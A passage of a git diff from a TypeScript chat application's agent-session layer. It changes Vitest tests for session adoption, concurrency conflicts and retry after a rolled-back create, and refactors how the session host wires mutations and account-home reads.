'win32' ? 'junction' : 'dir') - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: true }) - expect(probe).toHaveBeenLastCalledWith(workspaceCwd, sourceCwd, expect.any(AbortSignal)) - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: true, replayed: true }) -}) - -it.each(['opencode', 'opencode2'] as const)( - 'commits %s actual database history using the same linked-cwd admission', - async (agent) => { - const definition = structuredAgentRuntimeRegistration(agent)!.definition - await rig.dispose() - rig = await createRestTestRig({ agents: structuredAgentsDeclaringNothing([definition]) }) - const physical = await realpath(rig.root) - const registered = join(rig.root, 'registered') - await symlink(physical, registered, process.platform === 'win32' ? 'junction' : 'dir') - const transcriptPath = join(rig.root, 'opencode.db') - writeOpenCodeSqliteDatabase(transcriptPath, [ - { id: THREAD, directory: physical, turns: [{ role: 'user', parts: ['database context'] }] } - ]) - const params = createTestParams(undefined, { - agent, - provider: agent, - accountHome: { kind: 'opencode', locator: { kind: 'unmanaged' } }, - adopt: { - providerHandle: { agent, transport: definition.handleTransport, nativeId: THREAD }, - transcriptPath, - source: { providerSessionId: THREAD, workspaceCwd: registered } - } - }) - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: true }) - expect(rig.store.getRecord(SESSION)?.providerHandleChain[0].handle.nativeId).toBe(THREAD) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - } -) - -it('imports adoption at rest and resumes its original provider identity after its source disappears', async () => { - const params = await adoptedParams() - expect(await rig.host.create(CALLER, params)).toMatchObject({ - ok: true, - value: { - page: { - items: expect.arrayContaining([ - expect.objectContaining({ - body: expect.objectContaining({ blocks: [{ type: 'text', text: 'adopted history' }] }) - }) - ]) - } - } - }) - expect(rig.store.getRecord(SESSION)?.providerHandleChain).toMatchObject([ - { origin: 'adopted', mintedAtFence: 1, handle: { nativeId: THREAD } } - ]) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - await rm(join(rig.root, 'rollout.jsonl')) - expect( - await rig.host.create(CALLER, { - ...params, - accountHome: { variable: 'CODEX_HOME', path: '/drifted/account' }, - adopt: { providerHandle: codexProviderHandle(THREAD) } - }) - ).toMatchObject({ ok: true, replayed: true }) - expect(await rig.host.send(CALLER, restTestSend('new work'))).toMatchObject({ ok: true }) - await vi.waitFor(() => expect(rig.adapter.dispatch).toHaveBeenCalledOnce()) - expect(rig.adapter.acquire).toHaveBeenCalledWith( - expect.objectContaining({ - identity: expect.objectContaining({ - providerHandle: expect.objectContaining({ nativeId: THREAD }) - }) - }) - ) - expect(rig.store.getRecord(SESSION)?.accountHome).toEqual(params.accountHome) -}) - -it('refuses concurrent adoption of a provider conversation by another session', async () => { - const params = await adoptedParams() - const results = await Promise.all([ - rig.host.create(CALLER, params), - rig.host.create(CALLER, anotherSession(params)) - ]) - expect(results.filter((result) => result.ok)).toHaveLength(1) - expect(results.filter((result) => !result.ok)).toMatchObject([ - { - refusal: { - code: 'agent_session_conflict', - details: { - reason: 'conversationHeldElsewhere', - owner: { sessionId: expect.any(String), workspaceId: params.location.workspaceId } - }, - createAttemptRefusedBeforeCommit: true - } - } - ]) - expect(rig.store.listRecords()).toHaveLength(1) - expect(rig.store.listOperationRows()).toHaveLength(1) - expect(rig.adapter.acquire).not.toHaveBeenCalled() -}) - -it('refuses concurrent founding under a tab another chat already owns', async () => { - const params = createTestParams(undefined, { surfaceTabId: 'reserved-chat-tab' }) - const results = await Promise.all([ - rig.host.create(CALLER, params), - rig.host.create(CALLER, anotherSession(params)) - ]) - expect(results.filter((result) => result.ok)).toHaveLength(1) - expect(results.filter((result) => !result.ok)).toMatchObject([ - { refusal: { code: 'agent_session_conflict', details: { reason: 'tabIdTaken' } } } - ]) - expect(rig.store.listVisibleSessionIds()).toHaveLength(1) - expect(rig.adapter.acquire).not.toHaveBeenCalled() -}) - -it.each(['missing', 'empty', 'malformed'] as const)( - 'refuses %s history before founding anything', - async (source) => { - const params = await adoptedParams() - await (source === 'missing' - ? rm(join(rig.root, 'rollout.jsonl')) - : writeFile(join(rig.root, 'rollout.jsonl'), source === 'empty' ? '' : '{broken json}\n')) - expect(await rig.host.create(CALLER, params)).toMatchObject({ - ok: false, - refusal: { - code: 'agent_session_identity_required', - details: { reason: source === 'empty' ? 'transcriptNotFound' : 'transcriptUnreadable' }, - createAttemptRefusedBeforeCommit: true - } - }) - expect(rig.store.listRecords()).toEqual([]) - expect(rig.store.listOperationRows()).toEqual([]) - } -) - -it('does not found a record whose account namespace its agent cannot drive', async () => { - const params = createTestParams(undefined, { - accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: '/wrong/account' } - }) - expect(await rig.host.create(CALLER, params)).toMatchObject({ - ok: false, - refusal: { code: 'structured_agent_session_unsupported' } - }) - expect(rig.store.listRecords()).toEqual([]) - expect(rig.store.listOperationRows()).toEqual([]) -}) - -it.each([ - { executionHostId: 'local', wslDistro: null }, - { executionHostId: 'ssh:host-1', wslDistro: null }, - { executionHostId: 'local', wslDistro: 'Ubuntu' }, - { executionHostId: 'runtime:paired-host', wslDistro: null } -] as const)( - 'preserves folder execution identity at rest: $executionHostId $wslDistro', - async (location) => { - const params = createTestParams(undefined, { - location: { ...location, workspaceId: 'folder-1', workspaceKind: 'folder' } - }) - expect(await rig.host.create(CALLER, params)).toMatchObject({ ok: true }) - expect(rig.store.getRecord(SESSION)?.location).toEqual(params.location) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - } -) - -it('pins the host-resolved directory of a floating chat before any acquire', async () => { - const params = createTestParams(undefined, { - location: { - executionHostId: 'local', - wslDistro: null, - workspaceId: FLOATING_TERMINAL_WORKTREE_ID, - workspaceKind: 'folder' - } - }) - expect(await rig.host.create(CALLER, params, { hostLaunchDirectory: rig.root })).toMatchObject({ - ok: true - }) - expect(rig.store.getRecord(SESSION)?.launchDirectory).toBe(rig.root) - expect(rig.adapter.acquire).not.toHaveBeenCalled() -}) - -it.each(['adopted', 'blank'] as const)( - 'retries a rolled-back create with only the new %s history', - async (nextSource) => { - const first = { clientMessageId: hostTestOperationId(), body: hostTestMessage('first attempt') } - const adopted = await adoptedParams('old imported history') - const db = openTestJournalHostDatabase(rig.root).db - db.exec( - `CREATE TRIGGER refuse_first BEFORE INSERT ON journal_rows WHEN NEW.row_json LIKE '%"kind":"submission"%' BEGIN SELECT RAISE(ABORT, 'simulated first write failure'); END` - ) - expect( - await rig.host.create(CALLER, createTestParams(first, adopted), { firstMessage: first }) - ).toMatchObject({ ok: false }) - expect(rig.store.getRecord(SESSION)).toBeNull() - expect(rig.store.listOperationRows()).toEqual([]) - db.exec('DROP TRIGGER refuse_first') - const next = { clientMessageId: hostTestOperationId(), body: hostTestMessage('next attempt') } - const nextParams = - nextSource === 'adopted' - ? await adoptedParams('new imported history', '019fd532-7c11-7a90-b6de-4e1a2c3d5f61') - : createTestParams() - let stopping: ReturnType | undefined - const result = await rig.host.create( - CALLER, - createTestParams(next, { - ...nextParams, - envelope: { ...nextParams.envelope, clientOperationId: hostTestOperationId() } - }), - { - firstMessage: next, - publishTab: async () => { - stopping = stopCreatedChat(rig.host) - } - } - ) - expect(result).toMatchObject({ ok: true }) - if (!result.ok) { - throw new Error('retry create failed') - } - const history = (text: string) => - expect.objectContaining({ - body: expect.objectContaining({ blocks: [{ type: 'text', text }] }) - }) - expect(result.value.page.items).not.toEqual( - expect.arrayContaining([history('old imported history')]) - ) - if (nextSource === 'adopted') { - expect(result.value.page.items).toEqual( - expect.arrayContaining([history('new imported history')]) - ) - } - expect(await stopping).toMatchObject({ ok: true }) - expect(rig.adapter.acquire).not.toHaveBeenCalled() + expect(fixture.rig.store.listVisibleSessionIds()).toEqual([SESSION]) } ) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-current-work.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-current-work.test.ts index 607776d1a61..bf0d0a05834 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-current-work.test.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-current-work.test.ts @@ -19,7 +19,7 @@ import { type StructuredAgentSessionState } from '../../../shared/structured-agent-session-reducer' import { - liveTestJournalRows, + readTestJournalOutcomes, openTestJournalHostDatabase } from '../agent-session-journal/journal-host-database-test-support' import { HOST_TEST_SESSION as SESSION } from './structured-agent-session-host-test-data' @@ -244,9 +244,10 @@ describe('a waiting card when the generation ahead of it ends', () => { expect(journal.queuedMessages.get(card?.messageId ?? '')?.state).toBe('dispatched') ) // Generation-end publication alone must wake delivery without an intervening journal write. - const first = liveTestJournalRows(database.db, SESSION).find((row) => row.seq > before) - expect(JSON.parse(first?.rowJson ?? '{}')).toMatchObject({ - kind: 'submission', + const first = readTestJournalOutcomes(database.db, SESSION).find( + (row) => row.seq > before && row.field === 'submissions' + ) + expect(JSON.parse(first?.json ?? '[null, {}]')[1]).toMatchObject({ queuedMessageId: card?.messageId }) }) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-host-delivery.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-host-delivery.ts index 9434232f9ef..33d7d14a8fc 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-host-delivery.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-host-delivery.ts @@ -1,3 +1,4 @@ +import { structuredAgentSessionReceivingAccount } from './structured-agent-session-receiving-account' // Open conversations with queued sends always need delivery; opening also wakes leftover recovery. import { isQueuedAgentJournalSubmission } from '../../../shared/agent-session-queued-submission' @@ -26,7 +27,7 @@ import type { } from './structured-agent-session-host-types' import { structuredAgentSessionConversationFence } from './structured-agent-session-provider-child' import { structuredAgentSessionFailureWordsContext } from './structured-agent-session-send-preparation' -import { recoverStructuredRewind } from './structured-rewind-recovery' +import { settleInterruptedStructuredAgentSessionCommands } from './structured-rewind-recovery' import { retireOutgrownStructuredAgentSessionChild, structuredAgentSessionChildOwesWork @@ -71,7 +72,8 @@ export function createStructuredAgentSessionConversationDelivery(input: { sessionId: string, child: StructuredAgentSessionProviderChildIdentity ) => StructuredAgentSessionStartReadiness | null - /** Next start must reflect changed login/permission mode. */ + /** Stops a child the chat outgrew, so the start after it reads a new login, account or permission + * mode. */ stopOutgrownAgent: (sessionId: string) => Promise clientDelivery: Pick< StructuredAgentSessionClientDelivery, @@ -135,6 +137,20 @@ export function createStructuredAgentSessionConversationDelivery(input: { deps.store.requireWritableRecord(sessionId) return input.stopOutgrownAgent(sessionId) }, + launchAccountHome: async () => { + const record = deps.store.getRecord(sessionId) + return record + ? ( + await structuredAgentSessionReceivingAccount( + deps, + record, + session, + next, + 'identity' + ) + ).home + : null + }, logger: deps.logger }) }, @@ -223,7 +239,7 @@ export function createStructuredAgentSessionConversationDelivery(input: { const { session } = opened sessions.set(sessionId, session) input.clientDelivery.publishRestored(sessionId) - await settleInterruptedCommands(deps, sessionId, session) + await settleInterruptedStructuredAgentSessionCommands(deps, sessionId, session) input.clientDelivery.publishRestored(sessionId) if (session.journal.submissions().some(isQueuedAgentJournalSubmission)) { loop.wake(sessionId) @@ -292,21 +308,3 @@ export function createStructuredAgentSessionConversationDelivery(input: { openStructuredAgentSessionConversation({ deps, sessions, adoptOpened }, sessionId, options) } } - -/** Settle prepared rewinds orphaned across processes; provider-only proof waits for the next proven start. */ -async function settleInterruptedCommands( - deps: StructuredAgentSessionHostDeps, - sessionId: string, - session: StructuredAgentSessionHostSession -): Promise { - const fence = structuredAgentSessionConversationFence(deps.store, sessionId) - try { - await recoverStructuredRewind(deps, sessionId, session.journal, fence) - } catch (error) { - deps.logger.warn('settling an interrupted rewind on open failed', { - scope: 'rewind-recovery', - sessionId, - error - }) - } -} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-host-mutation-wiring.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-host-mutation-wiring.ts index f6ae8c867d7..5a8bd5c5f1f 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-host-mutation-wiring.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-host-mutation-wiring.ts @@ -1,12 +1,29 @@ +import { + cancelStructuredAgentSessionTurn, + respondToStructuredAgentSessionPrompt, + setStructuredAgentSessionOption, + changeStructuredAgentSessionThreadGoal +} from './structured-agent-session-host-mutations' +import type { + StructuredAgentSessionCaller, + StructuredAgentSessionHostDeps +} from './structured-agent-session-host-types' +import { + readStructuredAgentSessionOptions, + type StructuredAgentSessionOptionsReader +} from './structured-agent-session-options-read' +import { IN_PROCESS_OPTIONS_READER } from './structured-agent-session-option-observation' +import { settleStructuredAgentSessionLateDispatch } from './structured-agent-session-late-dispatch' import * as agentStart from './structured-agent-session-agent-start' import type { StructuredAgentSessionAttachContext } from './structured-agent-session-attach-context' +import type { AgentSessionRewindParams } from '../../../shared/agent-session-rewind' +import { rewindStructuredAgentSession } from './structured-agent-session-rewind' import type { StructuredAgentSessionClientDelivery } from './structured-agent-session-client-delivery' import type { StructuredAgentSessionConversationLifetime } from './structured-agent-session-conversation-lifetime' import type { StructuredAgentSessionConversations } from './structured-agent-session-conversations' import type * as conversation from './structured-agent-session-host-delivery' import type { StructuredAgentSessionHostRuntimeState } from './structured-agent-session-host-runtime-state' import type { StructuredAgentSessionMutationContext } from './structured-agent-session-host-mutations' -import type { StructuredAgentSessionHostDeps } from './structured-agent-session-host-types' import type { wireStructuredAgentSessionQueuedMessages } from './structured-agent-session-queued-wiring' type Inputs = { @@ -64,3 +81,37 @@ export function createStructuredAgentSessionHostMutationContext( now: input.now } } + +/** Resolve context per call so moved maps/fences cannot become stale closures. */ +export function structuredAgentSessionMutationDelegates( + context: () => StructuredAgentSessionMutationContext, + attachContext: () => StructuredAgentSessionAttachContext +) { + return { + cancel: ( + caller: StructuredAgentSessionCaller, + params: Parameters[2] + ) => cancelStructuredAgentSessionTurn(context(), caller, params), + respondToPrompt: ( + caller: StructuredAgentSessionCaller, + params: Parameters[2] + ) => respondToStructuredAgentSessionPrompt(context(), caller, params), + setOption: ( + caller: StructuredAgentSessionCaller, + params: Parameters[2] + ) => setStructuredAgentSessionOption(context(), caller, params), + changeThreadGoal: ( + caller: StructuredAgentSessionCaller, + params: Parameters[2] + ) => changeStructuredAgentSessionThreadGoal(context(), caller, params), + rewind: (caller: StructuredAgentSessionCaller, params: AgentSessionRewindParams) => + rewindStructuredAgentSession(context(), attachContext(), caller, params), + // Only in-process readers omit client identity. + readOptions: ( + sessionId: string, + reader: StructuredAgentSessionOptionsReader = IN_PROCESS_OPTIONS_READER + ) => readStructuredAgentSessionOptions(context(), sessionId, reader), + settleLateDispatch: (input: Parameters[1]) => + settleStructuredAgentSessionLateDispatch(context(), input) + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-host-mutations.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-host-mutations.ts index 4ec4b8c9b1a..bfcbcd5e4a0 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-host-mutations.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-host-mutations.ts @@ -2,18 +2,18 @@ // provider-only effects start their child before admission, sends start through delivery. import { latestNativeChatUsageLimitCut } from '../../../shared/native-chat/native-chat-usage-limit-cut' -import { refuse } from '../../../shared/agent-session-wire' +import { + refuse, + type AgentSessionCancelResult, + type AgentSessionMutationEnvelope, + type AgentSessionMutationResult, + type AgentSessionOptionResult, + type AgentSessionPromptResult, + type AgentSessionSendResult +} from '../../../shared/agent-session-wire' import { contextStructuredAgentSessionCurrentWork } from './structured-agent-session-current-work' import { shouldQueueStructuredAgentSessionSend } from './structured-agent-session-queued-messages' import type { AgentJournalMessageItem } from '../../../shared/agent-session-journal-types' -import type { - AgentSessionCancelResult, - AgentSessionMutationEnvelope, - AgentSessionMutationResult, - AgentSessionOptionResult, - AgentSessionPromptResult, - AgentSessionSendResult -} from '../../../shared/agent-session-wire' import type { AgentSessionThreadGoalChange, AgentSessionThreadGoalResult @@ -49,13 +49,7 @@ import { } from './structured-agent-session-ready-operation' export type { StructuredAgentSessionMutationContext } from './structured-agent-session-mutation-context' import type { StructuredAgentSessionCaller } from './structured-agent-session-host-types' -import { - readStructuredAgentSessionOptions, - IN_PROCESS_OPTIONS_READER, - recordStructuredAgentSessionOptionIntent, - type StructuredAgentSessionOptionsReader -} from './structured-agent-session-options-read' -import { settleStructuredAgentSessionLateDispatch } from './structured-agent-session-late-dispatch' +import { recordStructuredAgentSessionOptionIntent } from './structured-agent-session-options-read' import { confirmIdleStructuredAgentSessionOption } from './structured-agent-session-idle-option' export function sendStructuredAgentSessionTurn( @@ -227,6 +221,8 @@ export async function setStructuredAgentSessionOption( params: { envelope: AgentSessionMutationEnvelope; key: string; value: string } ): Promise> { const plan = setOptionPlan(params) + const noChoice = + caller.readsOptionsWithoutModel === false && params.key === 'model' && params.value === '' return mutateStructuredAgentSession( context, caller, @@ -235,12 +231,23 @@ export async function setStructuredAgentSessionOption( ...plan, conversationWrite: true, run: async (ctx) => { - const picked = await recordStructuredAgentSessionOptionIntent(context.deps, ctx, params) + const picked = await recordStructuredAgentSessionOptionIntent(context.deps, ctx, params, { + readsWithoutModel: caller.readsOptionsWithoutModel !== false + }) if (picked.ok) { confirmIdleStructuredAgentSessionOption(context, ctx, params) } return picked - } + }, + ...(noChoice + ? { + settledOutcome: (value: AgentSessionOptionResult) => ({ + status: 'succeeded' as const, + sessionId: params.envelope.sessionId, + optionResult: { version: 1, ...value } + }) + } + : {}) }, openForWrite(context, params.envelope) ) @@ -272,34 +279,3 @@ export async function changeStructuredAgentSessionThreadGoal( } ) } - -/** Resolve context per call so moved maps/fences cannot become stale closures. */ -export function structuredAgentSessionMutationDelegates( - context: () => StructuredAgentSessionMutationContext -) { - return { - cancel: ( - caller: StructuredAgentSessionCaller, - params: Parameters[2] - ) => cancelStructuredAgentSessionTurn(context(), caller, params), - respondToPrompt: ( - caller: StructuredAgentSessionCaller, - params: Parameters[2] - ) => respondToStructuredAgentSessionPrompt(context(), caller, params), - setOption: ( - caller: StructuredAgentSessionCaller, - params: Parameters[2] - ) => setStructuredAgentSessionOption(context(), caller, params), - changeThreadGoal: ( - caller: StructuredAgentSessionCaller, - params: Parameters[2] - ) => changeStructuredAgentSessionThreadGoal(context(), caller, params), - // Only in-process readers omit client identity. - readOptions: ( - sessionId: string, - reader: StructuredAgentSessionOptionsReader = IN_PROCESS_OPTIONS_READER - ) => readStructuredAgentSessionOptions(context(), sessionId, reader), - settleLateDispatch: (input: Parameters[1]) => - settleStructuredAgentSessionLateDispatch(context(), input) - } -} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-host-test-data.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-host-test-data.ts index bd0d4e8efa6..9436fa334d8 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-host-test-data.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-host-test-data.ts @@ -15,8 +15,10 @@ import type { import { projectNativeChatTranscriptMessages } from '../../../shared/native-chat-transcript-projection' import { projectStructuredAgentSessionMessages } from '../../../shared/structured-agent-session-message-projection' import { structuredAgentSessionSendBody } from '../../../shared/structured-agent-session-send-mutation' -import { attachFingerprintFields } from './structured-agent-session-attach' -import type { AgentSessionAttachParams } from './structured-agent-session-attach' +import { + attachFingerprintFields, + type AgentSessionAttachParams +} from './structured-agent-session-attach' export const HOST_TEST_NOW = 1_800_000_000_000 export const HOST_TEST_SESSION = 'session-alpha' @@ -209,3 +211,13 @@ export const HOST_TEST_RESTING_OPTIONS_CREATED_LINKS = [ handle: codexProviderHandle('provider-session-1') } ] satisfies AgentSessionRecord['providerHandleChain'] + +export function hostTestCatalogReadOperation() { + const controller = new AbortController() + return { + retirement: 0, + controller, + signal: controller.signal, + current: () => !controller.signal.aborted + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-host-types.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-host-types.ts index a355e25a407..4af95683d27 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-host-types.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-host-types.ts @@ -1,3 +1,5 @@ +import type { AgentSessionRecordReader } from '../../runtime/orchestration/structured-session-lineage' +import type { NativeResponseEvidence } from '../../runtime/orchestration/structured-parent-account-work' import type { AgentModelCatalogSource } from '../agent-model-catalog/agent-model-catalog-service-contract' import type { StructuredAgentSessionDeliveryLoop } from './structured-agent-session-delivery-loop' import type { @@ -21,6 +23,7 @@ import type { SubmissionRejectionFact } from '../../../shared/agent-session-fail import type { AgentSessionOwnerProbe } from '../../../shared/agent-session-lease-adjudication' import type { AgentJournalCursor } from '../../../shared/agent-session-journal-types' import type { AgentSessionRecord } from '../../../shared/agent-session-record' +import type { AgentSessionAccountHome } from '../../../shared/agent-session-account-home' import type { AgentSessionNamingError, AgentSessionStatusSummary, @@ -50,7 +53,10 @@ import type { StructuredAgentSessionStartupLimits } from './structured-agent-ses import type { AgentChatPermissionChoice } from '../../../shared/agent-chat-permission-mode' import type { AgentSessionSwitchResult } from '../../../shared/agent-session-switch-execution' -export type StructuredAgentSessionCaller = { callerKey: string } +export type StructuredAgentSessionCaller = { + callerKey: string + readsOptionsWithoutModel?: boolean +} /** Reveal record-authoritative identity; unreadable chats retain tabs for failure display and Retry. */ export type StructuredAgentSessionReveal = { @@ -90,8 +96,11 @@ export type StructuredAgentSessionProviderChild = StructuredAgentSessionProvider readonly startedFor?: string /** Launch-time permission mode, memory-only. */ readonly permissionMode?: AgentChatPermissionChoice + /** The account home it was launched under, in memory only; absent when its adapter reports none. */ + readonly accountHome?: AgentSessionAccountHome /** The launch source that may publish observations for this child. */ readonly catalogSource?: AgentModelCatalogSource + /** Read adapter-held sends at each decision. */ readonly heldSends?: () => ReadonlySet | undefined readonly exitObservation?: DeferredStructuredAgentSessionEventSink['exitObservation'] close?: StructuredAgentSessionChildClose @@ -190,6 +199,19 @@ export type StructuredAgentSessionHostDeps = { statusSink?: StructuredAgentSessionStatusSink /** Absent catalog reads return unknown. */ modelCatalog?: AgentModelCatalogService + /** The account home a start of this chat would launch under now, read without side effects; + * null for an agent whose chats keep the account they were created on. The default read may + * throw while that account's folder is missing; `identity` names it regardless. */ + launchAccountHome?: ( + record: AgentSessionRecord, + purpose?: 'read' | 'identity' + ) => Promise + parentAccountWork?: ( + record: AgentSessionRecord, + root: string, + response: NativeResponseEvidence, + reader: AgentSessionRecordReader + ) => boolean conversationNaming?: StructuredAgentSessionConversationNaming /** Carries the user's chat name into the agent's own conversation; never delays the caller. */ nameProviderConversation?: (record: AgentSessionRecord) => void diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-host.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-host.ts index 0d4fb78ee9f..fc979e947e0 100644 --- a/src/main/native-chat/agent-session-wire/structured-agent-session-host.ts +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-host.ts @@ -1,25 +1,20 @@ +import { createStructuredAgentSessionConversationReads } from './structured-agent-session-conversation-reads' import { continuationContextReader as contextReader } from './structured-agent-session-continuation-context' import { structuredAgentStartJournal } from './structured-agent-start-journal' -import type { AgentSessionRewindParams } from '../../../shared/agent-session-rewind' -import { rewindStructuredAgentSession } from './structured-agent-session-rewind' import { StructuredConversationCommandController } from './structured-conversation-command-controller' // Serialize durable mutations per conversation; open at rest and start a child only when work needs it. import type { AgentSessionSubscribeInput } from './structured-agent-session-subscribers' -import type { AgentSessionExecutionLocation } from '../../../shared/agent-session-record' import { createStartupRecovery } from './structured-agent-session-restart-reconcile' import { StructuredAgentSessionTaskQueue } from './structured-agent-session-task-queue' -import * as providerSupport from './structured-agent-session-provider-support' -import * as reveal from './structured-agent-session-reveal' import { StructuredAgentSessionHostRuntimeState } from './structured-agent-session-host-runtime-state' import { structuredAgentSessionEntryDelegates } from './structured-agent-session-create' import type { StructuredAgentSessionLifetimeContext } from './structured-agent-session-host-lifetime' import * as agentStart from './structured-agent-session-agent-start' -import { createStructuredAgentSessionHostMutationContext } from './structured-agent-session-host-mutation-wiring' +import * as mutationWiring from './structured-agent-session-host-mutation-wiring' import * as lifetime from './structured-agent-session-conversation-lifetime' import type { StructuredAgentSessionAttachContext } from './structured-agent-session-attach-context' import { createStructuredAgentSessionTabSurface as createTabs } from './structured-agent-session-host-tabs' -import { structuredAgentSessionMutationDelegates } from './structured-agent-session-host-mutations' import { flushStructuredAgentSessionHost } from './structured-agent-session-host-teardown' import type * as HostTypes from './structured-agent-session-host-types' import { StructuredAgentSessionEventRecovery } from './structured-agent-session-event-recovery' @@ -145,10 +140,21 @@ export class StructuredAgentSessionHost { private now = (): number => this.deps.now?.() ?? Date.now() hasSession = (sessionId: string): boolean => this.sessions.has(sessionId) - loadedSessionIds = (): string[] => - [...this.sessions].flatMap(([sessionId, { child }]) => (child ? [sessionId] : [])) + loadedSessionIds = this.sessions.loadedSessionIds hasLoadedProviders = (): boolean => this.loadedSessionIds().length > 0 - sessionAgent = (sessionId: string) => this.deps.store.getConversation(sessionId)?.provider ?? null + private readonly reads = createStructuredAgentSessionConversationReads(() => ({ + deps: this.deps, + sessions: this.sessions, + serialize: this.serialize, + readCommands: (id, commandsOnRequest) => + this.clientDelivery.readCommandsSettled(id, commandsOnRequest), + conversation: (id) => this.lifetime.conversation(id), + adoptOpened: this.conversationDelivery.adoptOpened + })) + sessionAgent = this.reads.sessionAgent + readModelCatalog = this.reads.readModelCatalog + childAccountHome = this.reads.childAccountHome + prospectiveAccountHome = this.reads.prospectiveAccountHome handleAdapterEvent = (event: Parameters[0]) => this.eventRecovery.handle(event) @@ -193,12 +199,9 @@ export class StructuredAgentSessionHost { clientDelivery: this.clientDelivery })) - supportsCreate = (location: AgentSessionExecutionLocation, agent: string): boolean => - providerSupport.adapterSupportsCreate(this.deps.adapter, location, agent) - - agentDefinitions = () => this.deps.agents.definitions() - - knownAgentIds = (): readonly string[] => providerSupport.knownAgentIds(this.deps) + supportsCreate = this.reads.supportsCreate + agentDefinitions = this.reads.agentDefinitions + knownAgentIds = this.reads.knownAgentIds private readonly tabs = createTabs( this, @@ -215,15 +218,14 @@ export class StructuredAgentSessionHost { setSessionTabVisibility = this.tabs.setSessionTabVisibility notifySessionTabHidden = this.tabs.notifySessionTabHidden /** Includes unreadable chat records. */ - holdsSessions = (): boolean => this.deps.store.holdsRecords() - onSessionsHeld = (listener: () => void): (() => void) => this.deps.store.onFirstRecord(listener) + holdsSessions = this.reads.holdsSessions + onSessionsHeld = this.reads.onSessionsHeld seedSessionTabs = this.tabs.seedSessionTabs drainStatusWrites = (): Promise => this.clientDelivery.drainStatusWrites() - revealSession = (sessionId: string): Promise => - reveal.revealStructuredAgentSession(this.deps, sessionId, this.lifetime.conversation) + revealSession = this.reads.revealSession private serialize = this.tasks.serialize.bind(this.tasks) @@ -253,7 +255,7 @@ export class StructuredAgentSessionHost { } private mutationContext = () => - createStructuredAgentSessionHostMutationContext({ + mutationWiring.createStructuredAgentSessionHostMutationContext({ deps: this.deps, sessions: this.sessions, subscribers: this.subscribers, @@ -279,20 +281,21 @@ export class StructuredAgentSessionHost { waitForSendSettlement = this.clientDelivery.waitForSendSettlement - private mutations = structuredAgentSessionMutationDelegates(() => this.mutationContext()) + private mutations = mutationWiring.structuredAgentSessionMutationDelegates( + () => this.mutationContext(), + () => this.attachContext() + ) cancel = this.mutations.cancel respondToPrompt = this.mutations.respondToPrompt setOption = this.mutations.setOption changeThreadGoal = this.mutations.changeThreadGoal readOptions = this.mutations.readOptions - rewind = (caller: HostTypes.StructuredAgentSessionCaller, params: AgentSessionRewindParams) => - rewindStructuredAgentSession(this.mutationContext(), this.attachContext(), caller, params) + rewind = this.mutations.rewind conversationCommand = this.conversationCommands.run /** Undefined means unavailable; an empty array is an authoritative catalog. */ - readCommands = (sessionId: string, commandsOnRequest = false) => - this.clientDelivery.readCommandsSettled(sessionId, commandsOnRequest) + readCommands = this.reads.readCommands /** Read the store; idle-released chats have no session-map entry. */ handoffStatus = (sessionId: string) => this.backgroundTasks.handoffStatus(sessionId) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-cancelled.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-cancelled.test.ts new file mode 100644 index 00000000000..e1f897b27aa --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-late-settlement-cancelled.test.ts @@ -0,0 +1,136 @@ +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../shared/agent-session-journal-types' +import { describe, expect, it, vi } from 'vitest' +import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import { + HOST_TEST_SESSION as SESSION, + HOST_TEST_THREAD as THREAD, + hostTestOperationId +} from './structured-agent-session-host-test-data' + +import { + fixture, + CALLER, + handedOver, + journal, + sendParams, + submissions +} from './structured-agent-session-late-settlement-contract-test-fixture' + +describe('settling a send the provider proves it received after the ack window', () => { + it('a receipt after Stop withdrew an unwritten send keeps it cancelled', async () => { + fixture.dispatch.mockImplementationOnce( + (input) => + new Promise((_resolve, reject) => { + input.signal?.addEventListener('abort', () => reject(input.signal?.reason), { + once: true + }) + }) + ) + const params = sendParams('stopped before its write') + await fixture.host.send(CALLER, params) + await handedOver(params.envelope.clientOperationId) + expect(fixture.dispatch.mock.calls[0]?.[0].signal).toBeDefined() + + const stopped = await fixture.host.cancel(CALLER, { + envelope: { + sessionId: SESSION, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: fixture.store.getRecord(SESSION)?.lease.runtimeFence ?? 1, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.cancel', + sessionId: SESSION, + fields: {} + }) + } + }) + expect(stopped).toMatchObject({ ok: true }) + await vi.waitFor(async () => + expect(await submissions()).toMatchObject([{ dispatchState: 